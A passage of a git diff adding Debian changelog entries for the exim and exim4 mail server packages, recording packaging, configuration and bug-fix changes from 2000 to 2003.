primary-router definition to /etc/e4/c.d/ + * code in debian/rules installing /etc/exim4/conf.d/ tree ignores CVS + directories + * WARNING: upgrades from 0.0.6 and 0.0.7 are broken! + -After ugrading delete conffiles no longer in package in directories + below /etc/exim4/conf.d/: + rewrite/30_exim4-base + router/28_exim4-base_hub_user + - replace router/22_exim4-base_primary with a file containg only + the line "# d41d8cd98f00b204e9800998ecf8427e" + run update-exim4.conf afterwards and start daemon. + + -- Andreas Metzler <ametzler@logic.univie.ac.at> Tue, 14 Jan 2003 17:44:50 +0100 + +exim4 (4.12-0.0.7) unstable; urgency=low + + * Add configuration file managment code using md5sums stored in the file + itself to update-exim4.conf(8). Use it and move files for evaluation of + /e/e4/email-addresses and the masquerading rules from /var/lib/exim4 to + /etc/. Gets rid of /etc/exim4/conf.d/rewrite/30_exim4-base and its two + .includes. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Tue, 14 Jan 2003 13:05:51 +0100 + +exim4 (4.12-0.0.6) unstable; urgency=low + + * generate up to date manpage for eximstats with pod2man. + * EXPERIMENTAL: Split /etc/exim4/exim4.conf.template to little files + in /etc/exim4/conf.d/ - update docs accordingly. + * fix wrong path in exim4-base.doc-base.spec + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Sun, 12 Jan 2003 18:25:40 +0100 + +exim4 (4.12-0.0.5) unstable; urgency=low + + * enhance default-file a lot. + * ship update-exim4defaults(8) - a script to allow other packages to modify + the default-file. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Mon, 6 Jan 2003 23:00:15 +0100 + +exim4 (4.12-0.0.4) unstable; urgency=low + + * Compile perl plugin with -fPIC + * Enable IPv6 support (Andrew Mulholland) + * remove exim4-base.cron.d, it only contained comments (no inetd support). + * enhance default-file: Allow disabling any queue runs and passing + additional options to exim daemon and/or the queuerunner. + + -- Andreas Metzler <ametzler@logic.univie.ac.at> Sun, 5 Jan 2003 13:16:37 +0100 + +exim4 (4.12-0.0.3) unstable; urgency=low + + * Keep patches separate to make upgrading easier, using dpatch. + * Rename eximon to eximon4: Otherwise this would force anybody who has + installed eximon and runs exim v3 to switch to exim v4 + * Polish package descriptions a little bit. + * Drop Recommends for netbase. We don't support inetd anyway. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Tue, 31 Dec 2002 14:31:14 +0100 + +exim4 (4.12-0.0.2) unstable; urgency=low + + * Actually compile with -O2 (Matthias Klose) + * Apply localscan_dlopen.patch from + http://marc.merlins.org/linux/exim/files/sa-exim-current/ to make it + possible to switch local_scan functions *without* recompiling exim. + * compile local_scan.c perl plugin as shared object that is dlopened, + document this in exim4-daemon-perl's description and doc-directory. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Sat, 21 Dec 2002 14:01:24 +0100 + +exim4 (4.12-0.0.1) unstable; urgency=low + + * New upstream 4.12, a strict maintenance release. Without any new features + (Don't worry - this is the real release i.e. Phil's third shot ;-) + + -- Andreas Metzler <ametzler@logic.univie.ac.at> Wed, 18 Dec 2002 12:17:51 +0100 + +exim4 (4.11-0.0.4) unstable; urgency=low + + * Get rid of /usr/lib/exim4/exim (see README.Debian for patched files) + * Use relative paths in debian/eximon.dirs + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Tue, 17 Dec 2002 13:40:19 +0100 + +exim4 (4.11-0.0.3) unstable; urgency=low + + * fix dbm lookups (one-line patch to src/search.c) + + -- Andreas Metzler <ametzler@logic.univie.ac.at> Fri, 13 Dec 2002 13:38:31 +0100 + +exim4 (4.11-0.0.2) unstable; urgency=low + + * Fresh installs were broken, as the initial test in update-exim4.conf + failed. + * update-exim4.conf exits silently if /etc/exim4/exim4.conf exists. + * don't invoke update-exim4.conf in postinst if configtype=none. + + -- Andreas Metzler <ametzler@logic.univie.ac.at> Wed, 11 Dec 2002 16:32:47 +0100 + +exim4 (4.11-0.0.1) unstable; urgency=low + + * New upstream version 4.11: + includes spec und util/* in orig.tar.gz, diff is small again. + see NewStuff items 49 to 57 for new features since snapshot 4.10.13. + + -- Andreas Metzler <ametzler@logic.univie.ac.at> Wed, 11 Dec 2002 13:01:07 +0100 + +exim4 (4.10.13-0.0.4) unstable; urgency=low + + * reformat manpages a little bit, start each sentence on a new line, refer + to /usr/share/doc/exim4-base/ + * remove the %s from PID_FILE_PATH + * apply debian/fix-pid.issue.patch to fix minor security issue + http://www.exim.org/pipermail/exim-users/Week-of-Mon-20021202/046978.html + * test in init-script for working config before reloading/restarting + (Andreas Piesk) + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 5 Dec 2002 13:04:51 +0100 + +exim4 (4.10.13-0.0.3) unstable; urgency=low + + * update copyright from NOTICE + * Typos in exim(8) + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Wed, 4 Dec 2002 10:35:18 +0100 + +exim4 (4.10.13-0.0.2) unstable; urgency=low + + * Fix path for eximon.bin in eximon script (Andreas Piesk) + * Add comments at the head of exim4.conf.template, containing a short + introduction to the configuration scheme. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Tue, 3 Dec 2002 23:52:28 +0100 + +exim4 (4.10.13-0.0.1) unstable; urgency=low + + * Snapshot 4.10.13 + * CONFIGURE_FILE=/etc/exim4/exim4.conf:/var/lib/exim4/config.autogenerated + * update update-exim4.conf* and documentation accordingly. + * Generate config.autogenerated with same permissions as + /etc/exim4/exim4.conf.template (it might conatain passwords) + * Add BIG FAT warning at head of autogenerated file. + * don't ship /var/lib/exim4/config.autogenerated, simply remove it on + purge if it exists. + + -- Andreas Metzler <ametzler@logic.univie.ac.at> Mon, 2 Dec 2002 12:45:58 +0100 + +exim4 (4.10.12-0.0.1) unstable; urgency=low + + * Upgrade to testing snapshot 4.10.12 + * patches accepted/superseded by upstream: exim4-MID-expanded.patch, hmac*, + perl.c.patch + * patches that do not apply cleanly anymore: bV_shows_openssl_version.txt, + daemon_close_fds.txt, gcc_attributes-eximon.diff, gcc_attributes.txt, + tls_common.txt, tls_misc.txt, tls_session_cache.txt. + * minimize changes to scripts/exim_install - use INSTALL_ARG=-no_symlink instead. + * no util/cramtest.pl util/logargs.sh util/unknownuser.sh in upstream + tarball - perhaps only in testing version? + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 28 Nov 2002 16:11:52 +0100 + +exim4 (4.10-0.srh20.19) unstable; urgency=low + + * ship convert4r4 as /usr/sbin/exim_convert4r4 (with manpage) + * eximon does not provides/Conflicts: exim4-daemon + * switch AGAIN *-daemon provides MTA: + - *-daemon depends on -base instead of the other way round + - explicit "conflicts/replaces: exim, exim-tls" for the base package - + these need to add this the other way round, too (TODO). + - move symlinks for sendmail, mailq, rmail, rsmtp and their manpages (+the one + for newaliases) to the daemon-packages. + - no more non-debhelper-generated exim4-base.prerm, simplified + *daemon.postinst + * try to start daemon in postinst no matter whether configtype=none, people + might use it with a handcrafted exim4.conf. + * register /var/lib/exim4/email_addresses for dpkg. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Sun, 24 Nov 2002 15:04:32 +0100 + +exim4 (4.10-0.srh20.18) unstable; urgency=low + + * add "Replaces: exim4-daemon" to all the daemon flavours, needed for + switching. + * Marc Haber: + make exim4-daemon-custom actually work. + building from CVS was broken + clean target missed Local/eximon.conf + * exim-daemon-perl recommends libexim-localscan-perl + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 21 Nov 2002 17:04:54 +0100 + +exim4 (4.10-0.srh20.17) unstable; urgency=low + + * add support for building a customized daemon (exim4-daemon-custom) + * tighten build-depends: official exim4-base linked against db3 won't + work well together with exim4-daemon-custom linked against libdb2 + * ship compile time configuration (EDITME-files) in /usd/daemon-flavour. + * use /var/mail instead of /var/spool/mail (#169747) + * make uucp a trusted user. (#169545) + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Sun, 17 Nov 2002 23:06:29 +0100 + +exim4 (4.10-0.srh20.16) unstable; urgency=low + + * fix Gecos pattern: 'From: "Andreas Metzler,,," <am...'# + * _big_ update for README.Debian: Document which patches were applied. Short + note about PAM. + * document that the perl flavour won't deliver any mail without + /etc/exim4/local_scan.pl in package description. + * fix examples for server-side SMTP AUTH + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Sat, 9 Nov 2002 10:12:34 +0100 + +exim4 (4.10-0.srh20.15) unstable; urgency=low + + * Fix crash with perl 5.8 (threads), thanks to Eckebrecht von Pappenheim + <evp@heise.de> + * perl-package: search local_scan.pl in /etc/exim4 instead of /etc/exim. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Wed, 6 Nov 2002 22:46:12 +0100 + +exim4 (4.10-0.srh20.14) unstable; urgency=low + + * add /etc/default/exim4 (#123184, #95325) + * Don't start a queue runner with cron per default, exim runs as daemon. + * polish config-script: more states, strip blanks. + * Ask whether to bind to all local interfaces or only to localhost with sane + default depending on configtype. (#108853) + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 31 Oct 2002 14:05:50 +0100 + +exim4 (4.10-0.srh20.13) unstable; urgency=low + + * send stdout of logrotate postrotate-script to /dev/null + * polish exim4-base.postinst and exim4-base.templates + * use tcp-wrappers + * simplify update-exim4.conf. There is no need to only add remote_smtp + transport for special configurations. It does not hurt and should make it + easy for users to activate smtp-auth. + * install configration example to examples subdirectory + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Tue, 29 Oct 2002 08:42:42 +0100 + +exim4 (4.10-0.srh20.12) unstable; urgency=low + + * linked against external pcre + * clean up a little bit - move all manpages to debian/manpages/ + * ship template /etc/exim4/email-addresses + * LFS support (-D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE) + * Don't force sender verification by default + * I actually use this version. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Sun, 27 Oct 2002 17:10:16 +0100 + +exim4 (4.10-0.srh20.11) unstable; urgency=low + + * if HUPed exim will rexec itself as /usr/lib/exim4/exim, changing the name + to exim - start-stop-daemon-daemon would not recognize it. Changed + init.script to exec /usr/lib/exim4/exim to set the processname to "exim". + This needs to be deuglified. + * use black magic in daemon-$flavour postinst to only start it there if + switching flavours. + * support for inetd has to wait for sarge+1 + * fix description of 'exim4' daemon flavour. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Sat, 26 Oct 2002 11:09:14 +0200 + +exim4 (4.10-0.srh20.10) unstable; urgency=low + + * don't provide symlink /usr/sbin/exim anymore - this broke coinstallation + with uninstalled exim 3 - the exim3-init script started the exim4-daemon. + Ship symlink /usr/lib/exim4/exim -> /usr/sbin/exim4 and set BIN_DIRECTORY + to /usr/lib/exim4. This is a little bit ugly but the alterative would be to + patch 7 files in src. + * the daemon packages conflict with each other by each having + Conflicts/Provides: exim4-daemon + * Add doc base support for spec and filter.txt (bug 165961) + * Switching daemon flavours restarts them. + + -- Andreas Metzler <ametzler@balrog.logic.univie.ac.at> Fri, 25 Oct 2002 16:14:44 +0200 + +exim4 (4.10-0.srh20.9) unstable; urgency=low + + * apply exim4-MID-expanded.patch - make domain part of M-ID configurable. + Shipped in debian-subdir so it can be easily patch -R'd before official + debian release. + * set spool to /var/spool/exim4 in EDITME + * remove /var/run/exim4 on purge + * remove /var/(spool|log)/exim4 on purge if empty + * added manpages. + * allow relay for 127.0.0.1 : ::::1 + * set host_find_failed = defer for smarthost router and mimick exim3. It + really sucks to get a frozen message and error to the postmaster _every_ + time I try to send a message offline. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 24 Oct 2002 14:00:05 +0200 + +exim4 (4.10-0.srh20.8) unstable; urgency=low + + * info and html doc generated from separate source package - diff is + small + * remove m4 and texinfo from build-depends + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 24 Oct 2002 12:22:56 +0200 + +exim4 (4.10-0.srh20.7) unstable; urgency=low + + * config script as state machine - allows going back! + * hopefully last forgotten entry of /var/{spool,log,run}/exim in postinst + and cron.* fixed. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 24 Oct 2002 09:16:12 +0200 + +exim4 (4.10-0.srh20.6) unstable; urgency=low + + * generate /etc/aliases with debconf + * remove dpkg-statoverride managment with debconf, ship exim binary as 4755 + root:root. + * update debian/copyright from NOTICE. + * add (commented out) maildrop-transport to template + * add (commented out) maildir-transport to template + * Remove some backslashes in template + * Fix *lots of* cut and paste errors, introduced by generating the + configuration template from the debconf_eximconfig perl script. + $local_delivery is wrong, define macro LOCAL_DELIVERY and use it instead. + Remove erranous backslashes. + * Add comments from the example configuration file to template. + * host and domain lists are colon separated. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Mon, 21 Oct 2002 22:37:45 +0200 + +exim4 (4.10-0.srh20.5) unstable; urgency=low + + * new debconf-code: + - shell scripts + - debconf-results are saved (and read from) /etc/exim4/debconf.results + - /etc/exim4/exim4.conf.template is a dpkg-conffile + - update-exim4.conf(8) merges these two files and generates exim's main + configuration file /var/lib/exim4/exim4.conf. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Sat, 19 Oct 2002 19:23:35 +0200 + +exim4 (4.10-0.srh20.4) unstable; urgency=low + + * symlink usr/sbin/exim4 <-> usr/sbin/exim in -base package was wrong. + * move invoke-rc.d to -base package - _it_ contains the init-script + * move stat-overide-stuff to -base package. - The values are filled in _its_ + config. + * missing stuff from log/exim4 run/exim4 transition: exim-base + maintainerscripts. + * Daemon-packages have only debconf stuff left as maintainerscripts. How + about letting dh_installinit manage the initscript? + * exim4-base.postrm has no business removing /etc/exim/exim.conf + + -- Andreas Metzler <ametzler@balrog.logic.univie.ac.at> Fri, 18 Oct 2002 14:40:46 +0200 + +exim4 (4.10-0.srh20.3) unstable; urgency=low + + * /etc/exim4/... + * fix cronjob: Test for existence of /etc/exim4/exim4.conf - it formerly + tested for exim3's configuration file + * /usr/lib/exim/ --> /usr/lib/exim4/ -- Put eximon.bin there, too. + + -- Andreas Metzler <ametzler@logic.univie.ac.at> Fri, 18 Oct 2002 13:43:37 +0200 + +exim4 (4.10-0.srh20.2) unstable; urgency=low + + * more changes: + * /var/log/exim/ --> /var/log/exim4/ + * /var/run/exim/ --> /var/run/exim4/ + * /etc/init.d/exim --> /etc/init.d/exim4 + * Use files named after the real package (exim4-base instead of) exim for + cron and logrotate. - use dh_installlogrotate and dh_installcron + * Don't install exim.8 manpages in daemon packages - symlink is enough, ship + real manpage in base-package. - use dh_installman. + * Get rid of m4-magic - without the alternatives there is no need. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 17 Oct 2002 23:52:31 +0200 + +exim4 (4.10-0.srh20.1) unstable; urgency=low + + * rename package, replace dependencies. + - src: exim4 + - binary exim(-something) --> exim4-something + - Remove Provides: exim - does not make sense anymore, dselect/apt + would take the real exim instead of the provided one. + - Revamp Dependencies and contents + * exim4-base provides/confl/repl: mta and depends on one of *our* + flavours + * each of the flavours only contains only /usr/sbin/exim4 and a manpagelink + exim4--->exim - there is no need to provides/confl/repl: mta, because + we ship no common file with the same name as in the original + exim4-package + - drop alternatives. + - install configuration example to /usr/share/doc/exim4-doc/examples + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 17 Oct 2002 17:58:08 +0200 + +exim (4.10-0.srh20) unstable; urgency=low + + * exim-base.config fixes during testing-- need to run debconf subs in a + list context to get their numeric return code. + * enqueue_question(): $code == 0 is ok too + * main: call fetch_default() not find_default() [when did I last test this?] + * install debconf_eximconfig (!!!!!!) + + -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 21:50:27 +0100 + +exim (4.10-0.srh19) unstable; urgency=low + + * Move the eximon binary into the eximon package! + + -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 19:36:48 +0100 + +exim (4.10-0.srh18) unstable; urgency=low + + * The clean: target now deletes doc/tmp + + -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 18:10:29 +0100 + +exim (4.10-0.srh17) unstable; urgency=low + + * Slave alternatives for "rmail" too. + * Changed libxaw-dev in build-depends to libxaw7-dev | libxaw-dev + * Added libperl-dev and m4 to build-depends + + -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 17:19:40 +0100 + +exim (4.10-0.srh16) unstable; urgency=low + + * Put --exec $DAEMON back on the start-stop-daemon --stop calls, since + start-stop-daemon complains about the process not being found after it + just killed it. (Due to Exim not removing its own pid file?) + * Point slave alternatives at .gz versions of manpages + + -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 16:12:08 +0100 + +exim (4.10-0.srh15) unstable; urgency=low + + * Fix "update-alternatives --remove" invocation. + * Remove alternatives AFTER stopping daemon. + * Use logrotate to cycle logs. + * Manually install logrotate/cron stuff, to call it "exim" instead of "exim-base". + * Install upstream exim.8 manpage, and slave alternatives. + + -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 15:44:56 +0100 + +exim (4.10-0.srh14) unstable; urgency=low + + * dh_installinit: pass --noscripts, put the script invocation etc. in + ourselves. This is still pretty nasty, but ensures that the deamons + are stopped/started themselves, not by exim-base. + * Also, pass --init-script=exim to use /etc/init.d/exim, not + /etc/init.d/exim-base. + * Fix some inconsistencies in the postsinst related to the above that + made lintian scream + * Remove the --exec option when stopping the daemon in the init script, + so that we still stop the daemon if the symlink changed to point to a + different version (hacky). + + -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 14:51:19 +0100 + +exim (4.10-0.srh13) unstable; urgency=low + + * Bah, fix paths of mailq etc. to be in /usr/bin, not /usr/lib + + -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 14:08:45 +0100 + +exim (4.10-0.srh12) unstable; urgency=low + + * The postinsts were totally broken, doing everything off the "install" + target, and nothing off "configure". Since they're all pracitcally the + same, they are now generated from daemon-postinst.m4. + * Fix invocations of dpkg-statoverride (sysuser??) + * Added slave alternatives for mailq, sendmail etc. + * Removed daemon packages conflicting with mail-transport-agent, + although this isn't good-- the deamon packages don't conflict with + each other (they use alternatives to arrange themselves), but do + conflict with other MTAs that install + /usr/lib/sendmail|/usr/sbin/sendmail links. Urnf. + * Similar generation system for prerms as postinsts + + -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 13:47:53 +0100 + +exim (4.10-0.srh11) unstable; urgency=low + + * Urnf, nasty circular dependencies. Removed exim-base's dependency on exim-daemon. + * Fix "use strict" errors in exim-base.config (oops) + + -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 13:10:25 +0100 + +exim (4.10-0.srh10) unstable; urgency=low + + * Patch src/expand.c with HMAC support + * Rename exim-daemon-default package to just "exim", so upgrading works + better, and exim isn't made into a pure virtual package while other + packages depend on it. Moreover, mail-transport-agent is provided by + each of the daemon packages, not exim-base, since having exim-base + alone is not sufficient to have an MTA. + * Each exim daemon package depends on exim-base, not exim. + + -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 12:52:19 +0100 + +exim (4.10-0.1) unstable; urgency=low + + * Heavy changes to build system. + * Split package into: + - exim-base: This package contains all utility programs and + documentation in plain text format. + - exim-daemon-$FOO: (Currently for FOO in light, default, heavy, + perl): Conain only the exim daemon in different configurations + - exim-doc-info: Contains exim documentation in Info format. + - eximon: The X11 monitor for Exim + + -- Hilko Bengen <bengen@toplink-plannet.de> Wed, 2 Oct 2002 17:23:04 +0200 + +exim (4.10-0.srh4) unstable; urgency=low + + * exim.c: Show the OpenSSL version number if TLS compiled in and the tls + debug selector enabled. + * exim.postinst et al: Keep the alternatives configured between upgrades + (naughty) since exim-light will fail to start if exim-heavy keywords + are in the config file + + -- Steve Haslam <araqnid@debian.org> Fri, 13 Sep 2002 16:08:47 +0100 + +exim (4.10-0.srh3) unstable; urgency=low + + * tls.c: Some debug output changes to verify_callback() + * debconf_eximconfig: add more escaping when writing acl_check_rcpt + * tls.c and others: ${tls_peercn} now expands to the CN part of the + peer's certificate subject when using TLS. + * transports/smtp.c and others: Added tls_verify_hostname option to + verify the hostname we connected to against the CN/subjectAltName + of the peer certificate. + + -- Steve Haslam <araqnid@debian.org> Fri, 13 Sep 2002 15:44:07 +0100 + +exim (4.10-0.srh2) unstable; urgency=low + + * exim-heavy.postinst: had duplicate sendmail alternative, removed. Had + a priority the same as exim-light too... increased. + * Replace LOOKUP_CDB=yes in exim-light configuration, since it was in + the Exim 3 package and doesn't bring in any dependencies. + * exim.postinst: delete files from /var/spool/exim/db if they cannot be + read by exim_dumpdb (some DB compatibility lossage) + + -- Steve Haslam <araqnid@debian.org> Tue, 3 Sep 2002 13:28:44 +0100 + +exim (4.10-0.srh1) unstable; urgency=low + + * My stab at an Exim 4 package. Features include: + * An exim-heavy package that contains an Exim binary with LDAP, + MySQL, PostgreSQL etc. in, so that the main Exim package's + dependencies are kept thin but users can easily get hold of + the extra lookup types. + * Debconf-based configuration, although it has priority=high + questions, so not completely noninteractive yet, and not + all features of eximconfig have been ported/checked + * Automated conversion of Exim 3 configuration files + (using PH's convert4r4) + + -- Steve Haslam <araqnid@debian.org> Tue, 3 Sep 2002 10:20:24 +0100 + +exim (3.35-1.srh1) unstable; urgency=low + + * Reconfigured to include MySQL and PostgreSQL lookups + + -- Steve Haslam <araqnid@debian.org> Fri, 9 Aug 2002 15:52:37 +0100 + +exim (3.35-1) unstable; urgency=low + + * New upstream version, fixes buffer overflow (Closes: #135069) + * debian/config: Added receiver_try_verify (Closes: #136276) + * debian/init.d: Use --retry 30 option for start-stop-daemon when + stopping exim (Closes: #136450) + * debian/postinst: "noninteractive" in correct case (Closes: #134379) + * debian/init.d: Use -n option for echo (from patch in #133288) + * debian/exim_lock.8: Manpage for exim_lock - thanks Nick Philips + (Closes: #131679) + * debian/config: Fixed comment on smtp_accept_queue_per_connection + (Closes: #136756) + * debian/exim.8,debian/eximon.8: Fixed hyphenation (Closes: #132068) + * debian/control: Short description improved (Closes: #130698) + + -- Mark Baker <mark@mnb.org.uk> Mon, 4 Mar 2002 23:04:52 +0000 diff --git a/debian/changelog.Debian.old b/debian/changelog.Debian.old new file mode 100644 index 0000000..2b9640b --- /dev/null +++ b/debian/changelog.Debian.old @@ -0,0 +1,1128 @@ +exim (3.34-1) unstable; urgency=low + + * New upstream version + * Applied patch so that it isn't an open relay when used from inetd with + exim_user = root (but that still doesn't mean you should set this!) + (Closes: #126124) + * debian/editme-diff: Include lmtp support (Closes: #128052) + * debian/postinst: Only run update-inetd if it exists + * debian/control: The above means it only recommends rather than depends + on netbase (Closes: #118244) + * debian/config: Various changes to procmail-pipe transport in + eximconfig output (Closes: #117923, #120614, #129338) + * debian/config: Added comment mentioning rfcignorant.org to eximconfig + output (Closes: #128414) + * debian/email-addresses: Corrected typo (Closes: #123082) + * debian/init.d: List restart option in usage output (Closes: #122939) + * debian/config: Include rfc2142 addresses (such as abuse@) in generated + aliases file (Closes: #128411) + + -- Mark Baker <mark@mnb.org.uk> Sat, 19 Jan 2002 17:44:56 +0000 + +exim (3.33-1) unstable; urgency=low + + * New upstream version + * debian/control: include package priorities + * debian/copyright: fix spelling of common-licenses (I had spelt it the + British way, as licences, which of course isn't what the directory is + called) (Closes: #112086) + * src/exim.c: upstream patch to fix minor local security hole (Closes: + #117835) + * debian/postrm: fix test for empty spool directory (Closes: #108956, + #116018) + * debian/postrm: check update-inetd exists before calling (Closes: #121365) + + -- Mark Baker <mark@mnb.org.uk> Wed, 28 Nov 2001 22:07:14 +0000 + +exim (3.32-2) unstable; urgency=low + + * Applied upstream patch to fix IPv6 related problems (Closes: #108285, + #108309) + * debian/cron.daily: exit if exim binary doesn't exist (Closes: #108389) + * debian/init.d: check that inetd.conf exists before grepping it for + exim (Closes: #108147) + * debian/exim.8: update description of -bp option (Closes: #107222) + + -- Mark Baker <mark@mnb.org.uk> Wed, 15 Aug 2001 00:00:36 +0100 + +exim (3.32-1) unstable; urgency=low + + * New upstream version (bug fixes) + * debian/preinst: create /etc/exim before moving exim.conf (Closes: + #106659, #107657) + * debian/preinst: only do nasty stuff to crontab if upgrading from a + version prior to 1.82-3, as that was the first one to use cron in the + way we do now. + + -- Mark Baker <mark@mnb.org.uk> Wed, 8 Aug 2001 23:34:04 +0100 + +exim (3.31-1) unstable; urgency=low + + * New upstream version + * debian/postrm: prompt before deleting spool directory if it's not + empty (Closes: #101186) + * debian/config: remove RBL questions (as ORBS no longer exists, and + MAPS now charges); include a comment about RBL instead (Closes: #104524) + * debian/rules: no longer have separate diff for hurd, as hurd now + supports PAM and LDAP + * OS/os.h-GNU, OS/Makefile-GNU: various other hurd changes (Closes: #101409) + * debian/postinst: don't run eximconfig if doing a non-interactive + install (Closes: #98764) + * debian/postinst, debian/preinst: move config file to new location in + preinst, not postinst (Closes: #101796) + * debian/config: don't use group mail on procmail transport (Closes: #99075) + * debian/init.d: use --pidfile option of start-stop-daemon (Closes: + #97526, #74803, #62297) + * debian/postinst: only grep exim.conf if it exists (Closes: #95031) + * src/globals.c: upstream patch to header names + * debian/postinst: only grep /etc/aliases if it exists (Closes: #94085) + * debian/cron.daily: tidy wait-remote_smtp as well as retry database + + -- Mark Baker <mark@mnb.org.uk> Thu, 19 Jul 2001 00:32:14 +0100 + +exim (3.22-4) unstable; urgency=low + + * debian/crontab: fix comment so it agrees (Closes: #92654) + * debian/rules: don't use {a,b} syntax, which isn't in posix sh (Closes: + #92456) + * debian/config: RBL is now at blackholes.mail-abuse.org + + -- Mark Baker <mark@mnb.org.uk> Tue, 10 Apr 2001 00:16:30 +0100 + +exim (3.22-3) unstable; urgency=low + + * src/eximon.src: don't want & on end of exec command (Closes: #53784) + * debian/*.8: updated references to docs to /usr/share/doc, and updated + my email address. + * debian/exicyclog.8: exicyclog is in /usr/sbin, not /opt/exim/bin + (Closes: #86642) + * debian/control: build-dependencies updated for current X packages + (Closes: #88565) + * debian/config: generated config uses s (sender) flag on rewrite rules + (Closes: #90839) + * debian/config: generated config doesn't use b or c (bcc and cc) flags + on rewrite rules + * debian/crontab: run every 15 minutes + * debian/crontab: don't ignore error output (exim should only output + anything on errors, so we don't want to redirect anything to /dev/null + (Closes: #88334) + * debian/config: generated config refers to 127.0.0.1 and ::1, and not + to localhost; which caused problems for some people when it tried to + look up the ipv6 address for it (Closes: #88629, #76074) + * debian/control: priority important + * debian/postinst, debian/prerm: don't call suidregister or chmod + * debian/control: conflict with suidmanager <<0.50 + + -- Mark Baker <mark@mnb.org.uk> Fri, 30 Mar 2001 00:29:30 +0100 + +exim (3.22-2) unstable; urgency=low + + * debian/crontab: check existence of config file in /etc/exim/exim.conf + rather than /etc/exim.conf (Closes: #85745) + * debian/postinst, debian/postrm: more places I'd forgotten to fix after + moving exim.conf + * src/exim_tidydb.c: write "too old" message to stdout, not stderr + (Closes: #81727) + + -- Mark Baker <mark@mnb.org.uk> Mon, 12 Feb 2001 23:30:17 +0000 + +exim (3.22-1) unstable; urgency=low + + * New upstream version + * debian/cron.daily: only run exim_tidydb if it exists and is + executable (Closes: #83017) + * debian/email-addresses: include comment indicating that it is part of + the exim package (Closes: #82462) + + -- Mark Baker <mark@mnb.org.uk> Wed, 24 Jan 2001 00:13:35 +0000 + +exim (3.20-2) unstable; urgency=low + + * debian/rules: allow for a locally modified makefile diff to be used + instead of the standard one (patch by Karl Hegbloom) (Closes: #79275) + * Put config file in an /etc/exim directory, as many people want to + create other files for configuring their exim setup (Closes: #76318) + . debian/rules: create /etc/exim directory + . debian/config: write config file in $exim/exim/exim.conf + . debian/editme-diff.linux: configure exim to read config from this + directory. + . debian/editme-diff.gnu: as editme-diff.linux + . debian/postinst: move config file from existing installations when + upgrading. + * debian/config: default config includes (commented out) how to do + client side SMTP AUTH (Closes: #79173) + * debian/cron.daily: only cycle non-empty log files (Closes: #74996) + * debian/control: build depends should be on libdb2-dev, not libdb2 + (Closes: #79290) + + -- Mark Baker <mark@mnb.org.uk> Mon, 11 Dec 2000 22:16:43 +0000 + +exim (3.20-1) unstable; urgency=low + + * New upstream release. + * debian/config: swapped procmail and .forward directors in default + config (Closes: #63588) + * debian/config: include "end" after rewrite section (Closes: #77865) + * debian/config: document /etc/email-addresses in eximconfig output + * debian/README: document /etc/email-addresses (Closes: #77937) + + -- Mark Baker <mark@mnb.org.uk> Sun, 3 Dec 2000 23:51:58 +0000 + +exim (3.16-7) unstable; urgency=high + + * debian/postinst: use -f option when deleting old hints databases + (Closes: #75451) + * src/exim.c: Change to real priveliges before expansion testing + + -- Mark Baker <mark@mnb.org.uk> Thu, 26 Oct 2000 00:15:24 +0100 + +exim (3.16-6) unstable; urgency=low + + * debian/mails: added announcement of windows executable filter + * applied patch so -bP cannot be used to get information from a config + file that the user does not have read permission for. Thanks to + Wichert Akkerman and Harald Hoyer for the patch (Closes: #67585) + + -- Mark Baker <mbaker@iee.org> Sun, 22 Oct 2000 01:14:18 +0100 + +exim (3.16-5) unstable; urgency=low + + * debian/config: path option must go after driver (Closes: #72985, #74503) + * debian/cron.daily: redirect output of exim_tidydb to /dev/null + (Closes: #74474) + * src/exim_tidydb.c: actual errors go to stderr so they aren't affected + by redirect mentioned above + * src/readconf.c: allow config to be group writable (Closes: #74082) + * debian/config: depends on netbase (for update-inetd) (Closes: #73060) + * debian/postinst: delete hints databases; if the configuration appears + to refer to any other db files, warn them that they will have to + rebuild them. This is because we are now (since 3.16-3.1) using libdb2 + (Closes: #75020, #73055, #73048) + * debian/config: default config file adds return path header to local + deliveries (Closes: #75046) + * debian/config: include (commented out) examples of how to set up + the server side of an authenticated link + * debian/config: default config file allow authenticated hosts to relay + + -- Mark Baker <mbaker@iee.org> Thu, 19 Oct 2000 00:21:44 +0100 + +exim (3.16-4) unstable; urgency=low + + * Ben's NMU fixed bugs about new libc/libdb (Closes: #72588, #72587) + * debian/postinst: set /usr/sbin/exim to be suid root if suidmanager + isn't installed. (Closes: #72796, #72741, #72684, #72673, #72671, + #72871, #70597) + * debian/control: Added build-depends on 